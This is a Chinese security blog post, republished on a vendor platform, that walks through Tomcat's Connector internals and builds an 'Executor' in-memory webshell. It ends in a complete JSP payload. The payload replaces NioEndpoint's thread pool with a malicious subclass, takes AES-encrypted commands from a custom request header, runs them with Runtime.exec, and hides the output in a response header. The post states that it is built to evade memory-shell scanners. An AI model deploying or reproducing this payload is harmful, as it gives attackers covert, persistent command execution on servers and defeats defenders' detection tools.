长亭百川云 - 文章详情

Executor内存马的实现

bluE0x00

44

2024-07-14

前言

PS:本文均只代表个人浅薄观点,若有错误或理解不足请指出。

Tomcat为了自身的可扩展性,各组件之间在很大程度上都进行了解耦。

而memshell scanner等类似内存马查杀工具,大多都是针对Container内的注册服务进行扫描。

那我们是否可以在Connector内进行内存马的注入?

正文

前置知识

先来看看Connector的具体实现。

在Tomcat笔记(其一)中我们曾提到,Connector主要由ProtocolHandler与Adapter构成。

而ProtocolHandler又主要由Endpoint与Processor组成:

根据实现的不同,ProtocolHandler又有如下分类:

本文中,我们主要关注一下Http11NioProtocol这个实现。

Endpoint

Endpoint是ProtocolHandler的组成之一,而NioEndpoint是Http11NioProtocl中的实现。

Endpoint五大组件:

  • LimitLatch:连接控制器,负责控制最大的连接数

  • Acceptor:负责接收新的连接,然后返回一个Channel对象给Poller

  • Poller:可以将其看成是NIO中Selector,负责监控Channel的状态

  • SocketProcessor:可以看成是一个被封装的任务类

  • Executor:Tomcat自己扩展的线程池,用来执行任务类

LimitLatch

LimitLatch主要是用来控制Tomcat所能接收的最大数量连接,如果超过了此连接,那么Tomcat就会将此连接线程阻塞等待,等里面有其他连接释放了再消费此连接。

`public class LimitLatch {``   `    `private static final Log log = LogFactory.getLog(LimitLatch.class);``   `    `private class Sync extends AbstractQueuedSynchronizer {`        `private static final long serialVersionUID = 1L;``   `        `public Sync() {`        `}``   `        `@Override`        `protected int tryAcquireShared(int ignored) {`            `long newCount = count.incrementAndGet();`            `if (!released && newCount > limit) {`                `// Limit exceeded`                `count.decrementAndGet();`                `return -1;`            `} else {`                `return 1;`            `}`        `}``   `        `@Override`        `protected boolean tryReleaseShared(int arg) {`            `count.decrementAndGet();`            `return true;`        `}`    `}``   `    `private final Sync sync;`    `//当前连接数`    `private final AtomicLong count;`    `//最大连接数`    `private volatile long limit;`    `private volatile boolean released = false;``}``//在AbstractEndpoint类中实现的方法``......``   ``protected LimitLatch initializeConnectionLatch() {`    `if (this.maxConnections == -1) {`        `return null;`    `} else {`        `if (this.connectionLimitLatch == null) {`            `this.connectionLimitLatch = new LimitLatch((long)this.getMaxConnections());`        `}``   `        `return this.connectionLimitLatch;`    `}``}``   ``protected void releaseConnectionLatch() {`    `LimitLatch latch = this.connectionLimitLatch;`    `if (latch != null) {`        `latch.releaseAll();`    `}``   `    `this.connectionLimitLatch = null;``}``   ``protected void countUpOrAwaitConnection() throws InterruptedException {`    `if (this.maxConnections != -1) {`        `LimitLatch latch = this.connectionLimitLatch;`        `if (latch != null) {`            `latch.countUpOrAwait();`        `}``   `    `}``}``   ``protected long countDownConnection() {`    `if (this.maxConnections == -1) {`        `return -1L;`    `} else {`        `LimitLatch latch = this.connectionLimitLatch;`        `if (latch != null) {`            `long result = latch.countDown();`            `if (result < 0L) {`                `this.getLog().warn(sm.getString("endpoint.warn.incorrectConnectionCount"));`            `}``   `            `return result;`        `} else {`            `return -1L;`        `}`    `}``}``   ``......`

Acceptor

Acceptor用于接收链接。

`//AbstractEndpoint中的原型``......``   ``public class Acceptor<U> implements Runnable {    ``    private static final int INITIAL_ERROR_DELAY = 50;`    `private static final int MAX_ERROR_DELAY = 1600;`    `    @Override`    `public void run() {`        `int errorDelay = 0;`        `// 循环,直到接收到一个关闭命令`        `while (endpoint.isRunning()) {``            // 循环,如果Endpoint被暂停则循环sleep`            `while (endpoint.isPaused() && endpoint.isRunning()) {``                state = AcceptorState.PAUSED;`                `try {`                    `Thread.sleep(50); // 50毫秒拉取一次endpoint运行状态`                `} catch (InterruptedException e) {`                    `                }`            `}`            `if (!endpoint.isRunning()) {`                `break;`            `}`            `state = AcceptorState.RUNNING;``   `            `try {`                `endpoint.countUpOrAwaitConnection(); // 判断最大连接数`                `if (endpoint.isPaused()) {``                    continue;`                `}`                `U socket = null;`                `try {`                    `socket = endpoint.serverSocketAccept(); // 创建一个socketChannel接收连接`                `} catch (Exception ioe) {`                    `endpoint.countDownConnection();`                    `if (endpoint.isRunning()) {`                        `errorDelay = handleExceptionWithDelay(errorDelay); // 延迟异常处理`                        `throw ioe; // 重新扔出异常给c1处捕获`                    `} else {`                        `break;`                    `}`                `}`                `errorDelay = 0; // 成功接收之后重置延时处理异常时间`                `if (endpoint.isRunning() && !endpoint.isPaused()) {`                    `// setSocketOptions()将Socket传给相应processor处理`                    `if (!endpoint.setSocketOptions(socket)) {`                        `endpoint.closeSocket(socket);`                    `}`                `} else {`                    `endpoint.destroySocket(socket); // 否则destroy掉该socketChannel`                `}`            `} catch (Throwable t) { // c1`                `ExceptionUtils.handleThrowable(t); // 处理延迟异常`                `String msg = sm.getString("endpoint.accept.fail");`                `if (t instanceof Error) {`                    `... // 日志记录`                `}`            `}`        `}`        `state = AcceptorState.ENDED; // 标记状态为ENDED`    `}`       `        protected int handleExceptionWithDelay(int currentErrorDelay) {`        `if (currentErrorDelay > 0) {`            `try {`                `Thread.sleep(currentErrorDelay);`            `} catch (InterruptedException e) {`                `// Ignore`            `}`        `}`        `// 异常处理`        `if (currentErrorDelay == 0) {`            `return INITIAL_ERROR_DELAY; // c2`        `} else if (currentErrorDelay < MAX_ERROR_DELAY) {`            `return currentErrorDelay * 2;`        `} else {`            `return MAX_ERROR_DELAY;`        `}`    `}``}``   ``......``//在AbstractEndpoint类中开启Acceptor线程``......``   ``protected void startAcceptorThreads() {`    `int count = getAcceptorThreadCount();`    `acceptors = new ArrayList<>(count);``   `    `for (int i = 0; i < count; i++) {`        `Acceptor<U> acceptor = new Acceptor<>(this);`        `String threadName = getName() + "-Acceptor-" + i;`        `acceptor.setThreadName(threadName);`        `acceptors.add(acceptor);`        `Thread t = new Thread(acceptor, threadName);`        `t.setPriority(getAcceptorThreadPriority());`        `t.setDaemon(getDaemon());`        `t.start();`    `}``}``   ``......`
`//NioEndpoint中具体实现的对SocketChannel的处理``   ``protected class Acceptor extends org.apache.tomcat.util.net.AbstractEndpoint.Acceptor {`    `protected Acceptor() {`    `}``   `    `public void run() {`        `byte errorDelay = 0;``   `        `while(NioEndpoint.this.running) {`            `while(NioEndpoint.this.paused && NioEndpoint.this.running) {`                `this.state = AcceptorState.PAUSED;``   `                `try {`                    `Thread.sleep(50L);`                `} catch (InterruptedException var4) {`                `}`            `}``   `            `if (!NioEndpoint.this.running) {`                `break;`            `}``   `            `this.state = AcceptorState.RUNNING;``   `            `try {`                `NioEndpoint.this.countUpOrAwaitConnection();`                `SocketChannel socket = null;``   `                `try {`                    `socket = NioEndpoint.this.serverSock.accept();`                `} catch (IOException var5) {`                    `NioEndpoint.this.countDownConnection();`                    `if (!NioEndpoint.this.running) {`                        `break;`                    `}``   `                    `NioEndpoint.this.handleExceptionWithDelay(errorDelay);`                    `throw var5;`                `}``   `                `errorDelay = 0;`                `if (NioEndpoint.this.running && !NioEndpoint.this.paused) {`                    `if (!NioEndpoint.this.setSocketOptions(socket)) {`                        `this.closeSocket(socket);`                    `}`                `} else {`                    `this.closeSocket(socket);`                `}`            `} catch (Throwable var6) {`                `ExceptionUtils.handleThrowable(var6);`                `NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.accept.fail"), var6);`            `}`        `}``   `        `this.state = AcceptorState.ENDED;`    `}``   `    `private void closeSocket(SocketChannel socket) {`        `NioEndpoint.this.countDownConnection();``   `        `try {`            `socket.socket().close();`        `} catch (IOException var4) {`            `if (NioEndpoint.log.isDebugEnabled()) {`                `NioEndpoint.log.debug(AbstractEndpoint.sm.getString("endpoint.err.close"), var4);`            `}`        `}``   `        `try {`            `socket.close();`        `} catch (IOException var3) {`            `if (NioEndpoint.log.isDebugEnabled()) {`                `NioEndpoint.log.debug(AbstractEndpoint.sm.getString("endpoint.err.close"), var3);`            `}`        `}``   `    `}``}`

Poller

`public class Poller implements Runnable {`     `     ......`     `       @Override`        `public void run() {`            `// Loop until destroy() is called`            `while (true) {`                `boolean hasEvents = false;`                `try {`                    `if (!close) {`                        `//查看是否有连接进来,如果有就将Channel注册进Selector中`                        `hasEvents = events();`                    `}`                    `if (close) {`                        `events();`                        `timeout(0, false);`                        `try {`                            `selector.close();`                        `} catch (IOException ioe) {`                            `log.error(sm.getString("endpoint.nio.selectorCloseFail"), ioe);`                        `}`                        `break;`                    `}`                `} catch (Throwable x) {`                    `ExceptionUtils.handleThrowable(x);`                    `log.error(sm.getString("endpoint.nio.selectorLoopError"), x);`                    `continue;`                `}`                `if (keyCount == 0) {`                    `hasEvents = (hasEvents | events());`                `}`                `Iterator<SelectionKey> iterator =`                    `keyCount > 0 ? selector.selectedKeys().iterator() : null;`                `// Walk through the collection of ready keys and dispatch`                `// any active event.`                `while (iterator != null && iterator.hasNext()) {`                    `SelectionKey sk = iterator.next();`                    `NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment();`                    `// Attachment may be null if another thread has called`                    `// cancelledKey()`                    `if (socketWrapper == null) {`                        `iterator.remove();`                    `} else {`                        `iterator.remove();`                        `processKey(sk, socketWrapper);`                    `}`                `}``   `                `// Process timeouts`                `timeout(keyCount,hasEvents);`            `}``   `            `getStopLatch().countDown();`        `}``   ``   `    `......`    `}`

调用events()方法,查看队列中是否有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后不断轮询所有注册过的Channel查看是否有事件发生。

当有事件发生时,则调用SocketProcessor交给Executor执行。

SocketProcessor

`protected class SocketProcessor extends SocketProcessorBase<NioChannel> {`    `public SocketProcessor(SocketWrapperBase<NioChannel> socketWrapper, SocketEvent event) {`        `super(socketWrapper, event);`    `}``   `    `protected void doRun() {`        `NioChannel socket = (NioChannel)this.socketWrapper.getSocket();`        `SelectionKey key = socket.getIOChannel().keyFor(socket.getPoller().getSelector());``   `        `try {`            `int handshake = -1;``   `            `try {`                `if (key != null) {`                    `if (socket.isHandshakeComplete()) {`                        `handshake = 0;`                    `} else if (this.event != SocketEvent.STOP && this.event != SocketEvent.DISCONNECT && this.event != SocketEvent.ERROR) {`                        `handshake = socket.handshake(key.isReadable(), key.isWritable());`                        `this.event = SocketEvent.OPEN_READ;`                    `} else {`                        `handshake = -1;`                    `}`                `}`            `} catch (IOException var12) {`                `handshake = -1;`                `if (NioEndpoint.log.isDebugEnabled()) {`                    `NioEndpoint.log.debug("Error during SSL handshake", var12);`                `}`            `} catch (CancelledKeyException var13) {`                `handshake = -1;`            `}``   `            `if (handshake == 0) {`                `SocketState state = SocketState.OPEN;`                `if (this.event == null) {`                    `state = NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.OPEN_READ);`                `} else {`                    `state = NioEndpoint.this.getHandler().process(this.socketWrapper, this.event);//关键在于调用对应的handler来执行这两个process方法。`                `}``   `                `if (state == SocketState.CLOSED) {`                    `NioEndpoint.this.close(socket, key);`                `}`            `} else if (handshake == -1) {`                `NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.CONNECT_FAIL);`                `NioEndpoint.this.close(socket, key);`            `} else if (handshake == 1) {`                `this.socketWrapper.registerReadInterest();`            `} else if (handshake == 4) {`                `this.socketWrapper.registerWriteInterest();`            `}`        `} catch (CancelledKeyException var14) {`            `socket.getPoller().cancelledKey(key);`        `} catch (VirtualMachineError var15) {`            `ExceptionUtils.handleThrowable(var15);`        `} catch (Throwable var16) {`            `NioEndpoint.log.error("", var16);`            `socket.getPoller().cancelledKey(key);`        `} finally {`            `this.socketWrapper = null;`            `this.event = null;`            `if (NioEndpoint.this.running && !NioEndpoint.this.paused) {`                `NioEndpoint.this.processorCache.push(this);`            `}``   `        `}``   `    `}``}`

Executor

见下文。

Executor以及恶意Executor的实现:

`//删掉了很多注解,有兴趣可以自行查阅。``public interface Executor {``   `    `/**`     `* Executes the given command at some time in the future.  The command`     `* may execute in a new thread, in a pooled thread, or in the calling`     `* thread, at the discretion of the {@code Executor} implementation.`     `*`     `* @param command the runnable task`     `* @throws RejectedExecutionException if this task cannot be`     `* accepted for execution`     `* @throws NullPointerException if command is null`     `*/`    `void execute(Runnable command);``}`

Executor其实是Tomcat定制版的线程池,具体设计理论我们无需细究,但有一点我们值得关注:

在Tomcat中Executor由Service维护,因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池,相关组件( 如Endpoint)会自动创建线程池,此时,线程池不再共享。

(这也是为什么之前我获取Service直接往executors组里添加executor但却并不生效的原因。)

可以看到这里是直接获取的EndPoint自己启动的TreadPoolExecutor类:

并且他的关键调用方法就在下一行 : executor.execute()

找到其核心处理逻辑后,我们只需继承它,并重写该方法将恶意逻辑写入其中。

`public class threadexcutor extends ThreadPoolExecutor {``   `    `......`    `    public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {`        `super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);`    `}``   ......`   `     @Override`        `public void execute(Runnable command) {`           `             System.out.println("123");`            `//Evil code here`            `this.execute(command, 0L, TimeUnit.MILLISECONDS);`            `  }`  `    ......`    `}`

通过AbstractEndpoint中的setExecutor方法将原本的executor置换为我们的恶意类。

置换后,Endpoint处理所使用的executor成功变为我们的恶意类:

实现交互

获取命令

根据上文中的前置知识和Tomcat笔记(其一)中我们所描述的,标准的ServletRequest需要经过Processor的封装后才可获得,如果我们想要把命令放在header中传入,该如何实现?

实现的方法肯定不止一种,此处我借用java内存搜索工具找到一处位于NioEndpoint中的nioChannels的appReadBufHandler,很明显其中的Buffer存放着我们所需要的request。

将命令字段提取处理即可。

`public String getRequest() {`            `try {`                `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));``   `                `for (Thread thread : threads) {`                    `if (thread != null) {`                        `String threadName = thread.getName();`                        `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {`                            `Object target = getField(thread, "target");`                            `if (target instanceof Runnable) {`                                `try {``   ``   `                                    `Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");`                                    `ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");`                                    `                                    String a = new String(heapByteBuffer.array(), "UTF-8");``   `                                    `if (a.indexOf("blue0") > -1) {`                                        `System.out.println(a.indexOf("blue0"));`                                        `System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1);`                                        `String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);``//                                        System.out.println(b);`                                        `return b;`                                    `}``   `                                `} catch (Exception var11) {`                                    `System.out.println(var11);`                                    `continue;`                                `}`                            `}`                        `}`                    `}`                `}`            `} catch (Exception ignored) {`            `}`            `return new String();`        `}`

实现回显

注入内存马的位置在Processor处理生成标准ServletRequest之前,显然完整的ServletResponse要在Containor处理完成之后才会生成,那我们要如何解决回显问题?

想法一:

直接在此处使用Socket与client端进行通信,以字节流的形式传输数据。

(理论上可行,未测试)

想法二:

主要利用tomcat在处理request时的特性。

AbstractProcessor在初始化时就会进行Tomcat Request与Response的创建,继承了AbstractProcessor的Http11Processor也是如此:

`......``   ``public AbstractProcessor(AbstractEndpoint<?> endpoint) {`    `this(endpoint, new Request(), new Response());``}``   ``......``   ``protected AbstractProcessor(AbstractEndpoint<?> endpoint, Request coyoteRequest, Response coyoteResponse) {`    `this.hostNameC = new char[0];`    `this.asyncTimeout = -1L;`    `this.asyncTimeoutGeneration = 0L;`    `this.socketWrapper = null;`    `this.errorState = ErrorState.NONE;`    `this.endpoint = endpoint;`    `this.asyncStateMachine = new AsyncStateMachine(this);`    `this.request = coyoteRequest;`    `this.response = coyoteResponse;`    `this.response.setHook(this);`    `this.request.setResponse(this.response);`    `this.request.setHook(this);`    `this.userDataHelper = new UserDataHelper(this.getLog());``}``   ``......`

并且Response是会封装在Request对象中的:

在Container中的逻辑处理完之后,Http11Processor会继续对我们的response进行封装:    

所以我们只需将命令执行的结果提前放入Tomcat的response中即可,这里我选择的是header。

PS:最开始的时候走了点弯路,想要把最开始的response结构体中的buffer部分找出来直接put(byte[])进去,后来发现byteBuffer扩容起来很麻烦,而且可能会存在后续tomcat处理将回显部分覆盖的情况。

so这里直接使用response.addHeader(),将结果放入header中。

`public void getResponse(byte[] res) {`            `try {`                `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));``   `                `for (Thread thread : threads) {`                    `if (thread != null) {`                        `String threadName = thread.getName();`                        `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {`                            `Object target = getField(thread, "target");`                            `if (target instanceof Runnable) {`                                `try {`                                    `ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"),"processors");`                                    `for (Object tmp_object:objects) {`                                        `RequestInfo request = (RequestInfo)tmp_object;`                                        `Response response = (Response) getField(getField(request, "req"), "response");`                                        `response.addHeader("Server",new String(res,"UTF-8"));``//                                        System.out.print("buffer add");`                                    `}`                                `} catch (Exception var11) {`                                    `continue;`                                `}``   `                            `}`                        `}`                    `}`                `}`            `} catch (Exception ignored) {`            `}`        `}`

Final

为通信的隐蔽性,最后做了一下AES加密:

最终实现的效果为,若检测到request请求中包含我们自定义的header头则会执行相关恶意操作,并在response的自定义header中返回,否则则为正常业务流量:

同样的,因为不是在Container中实现的内存马,tomcat-memshell-scanner无法检测到:

jsp_demo

`<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>``<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>``<%@ page import="java.util.concurrent.TimeUnit" %>``<%@ page import="java.lang.reflect.Field" %>``<%@ page import="java.util.concurrent.BlockingQueue" %>``<%@ page import="java.util.concurrent.ThreadFactory" %>``<%@ page import="java.nio.ByteBuffer" %>``<%@ page import="java.util.ArrayList" %>``<%@ page import="org.apache.coyote.RequestInfo" %>``<%@ page import="org.apache.coyote.Response" %>``<%@ page import="java.io.IOException" %>``<%@ page import="java.nio.charset.StandardCharsets" %>``<%@ page contentType="text/html;charset=UTF-8" language="java" %>``   ``   ``<%!`    `public static final String DEFAULT_SECRET_KEY = "blueblueblueblue";`    `private static final String AES = "AES";`    `private static final byte[] KEY_VI = "blueblueblueblue".getBytes();`    `private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";`    `private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();`    `private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();``   `    `public static String decode(String key, String content) {`        `try {`            `javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);`            `javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);`            `cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));``   `            `byte[] byteContent = base64Decoder.decode(content);`            `byte[] byteDecode = cipher.doFinal(byteContent);`            `return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);`        `} catch (Exception e) {`            `e.printStackTrace();`        `}`        `return null;`    `}``   `    `public static String encode(String key, String content) {`        `try {`            `javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);`            `javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);`            `cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));`            `byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);`            `byte[] byteAES = cipher.doFinal(byteEncode);`            `return base64Encoder.encodeToString(byteAES);`        `} catch (Exception e) {`            `e.printStackTrace();`        `}`        `return null;`    `}``   ``   `    `public Object getField(Object object, String fieldName) {`        `Field declaredField;`        `Class clazz = object.getClass();`        `while (clazz != Object.class) {`            `try {``   `                `declaredField = clazz.getDeclaredField(fieldName);`                `declaredField.setAccessible(true);`                `return declaredField.get(object);`            `} catch (NoSuchFieldException | IllegalAccessException e) {`            `}`            `clazz = clazz.getSuperclass();`        `}`        `return null;`    `}``   ``   `    `public Object getStandardService() {`        `Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");`        `for (Thread thread : threads) {`            `if (thread == null) {`                `continue;`            `}`            `if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {`                `Object target = this.getField(thread, "target");`                `Object jioEndPoint = null;`                `try {`                    `jioEndPoint = getField(target, "this$0");`                `} catch (Exception e) {`                `}`                `if (jioEndPoint == null) {`                    `try {`                        `jioEndPoint = getField(target, "endpoint");`                    `} catch (Exception e) {`                        `new Object();`                    `}`                `} else {`                    `return jioEndPoint;`                `}`            `}``   `        `}`        `return new Object();`    `}``   `    `public class threadexcutor extends ThreadPoolExecutor {``   `        `public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {`            `super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);`        `}``   `        `public String getRequest() {`            `try {`                `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));``   `                `for (Thread thread : threads) {`                    `if (thread != null) {`                        `String threadName = thread.getName();`                        `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {`                            `Object target = getField(thread, "target");`                            `if (target instanceof Runnable) {`                                `try {``   ``   `                                    `Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");``   ``   `                                    `ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");`                                    `String a = new String(heapByteBuffer.array(), "UTF-8");``   `                                    `if (a.indexOf("blue0") > -1) {`                                        `System.out.println(a.indexOf("blue0"));`                                        `System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1);`                                        `String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);``   `                                        `b = decode(DEFAULT_SECRET_KEY, b);``   `                                        `return b;`                                    `}``   `                                `} catch (Exception var11) {`                                    `System.out.println(var11);`                                    `continue;`                                `}``   ``   `                            `}`                        `}`                    `}`                `}`            `} catch (Exception ignored) {`            `}`            `return new String();`        `}``   ``   `        `public void getResponse(byte[] res) {`            `try {`                `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));``   `                `for (Thread thread : threads) {`                    `if (thread != null) {`                        `String threadName = thread.getName();`                        `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {`                            `Object target = getField(thread, "target");`                            `if (target instanceof Runnable) {`                                `try {`                                    `ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");`                                    `for (Object tmp_object : objects) {`                                        `RequestInfo request = (RequestInfo) tmp_object;`                                        `Response response = (Response) getField(getField(request, "req"), "response");`                                        `response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8")));``   `                                    `}`                                `} catch (Exception var11) {`                                    `continue;`                                `}``   `                            `}`                        `}`                    `}`                `}`            `} catch (Exception ignored) {`            `}`        `}``   ``   `        `@Override`        `public void execute(Runnable command) {``//            System.out.println("123");``   `            `String cmd = getRequest();`            `if (cmd.length() > 1) {`                `try {`                    `Runtime rt = Runtime.getRuntime();`                    `Process process = rt.exec(cmd);`                    `java.io.InputStream in = process.getInputStream();``   `                    `java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);`                    `java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);`                    `String s = "";`                    `String tmp = "";`                    `while ((tmp = stdInput.readLine()) != null) {`                        `s += tmp;`                    `}`                    `if (s != "") {`                        `byte[] res = s.getBytes(StandardCharsets.UTF_8);`                        `getResponse(res);`                    `}``   ``   `                `} catch (IOException e) {`                    `e.printStackTrace();`                `}`            `}``   ``   `            `this.execute(command, 0L, TimeUnit.MILLISECONDS);`        `}``   `    `}``   ``%>``   ``<%`    `NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();`    `ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");`    `threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());`    `nioEndpoint.setExecutor(exe);``%>`

后记

抛砖引玉,按照这个思路,Connector中应该还有其他组件内存马可以实现。

请忽略我拙劣的coding能力。

感谢su18师傅和园长的鞭策。

文中部分内容参考:

https://juejin.cn/post/6844903874122383374

https://cloud.tencent.com/developer/article/1745954

http://chujunjie.top/2019/04/21/Tomcat源码学习笔记-Connector组件-一/

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2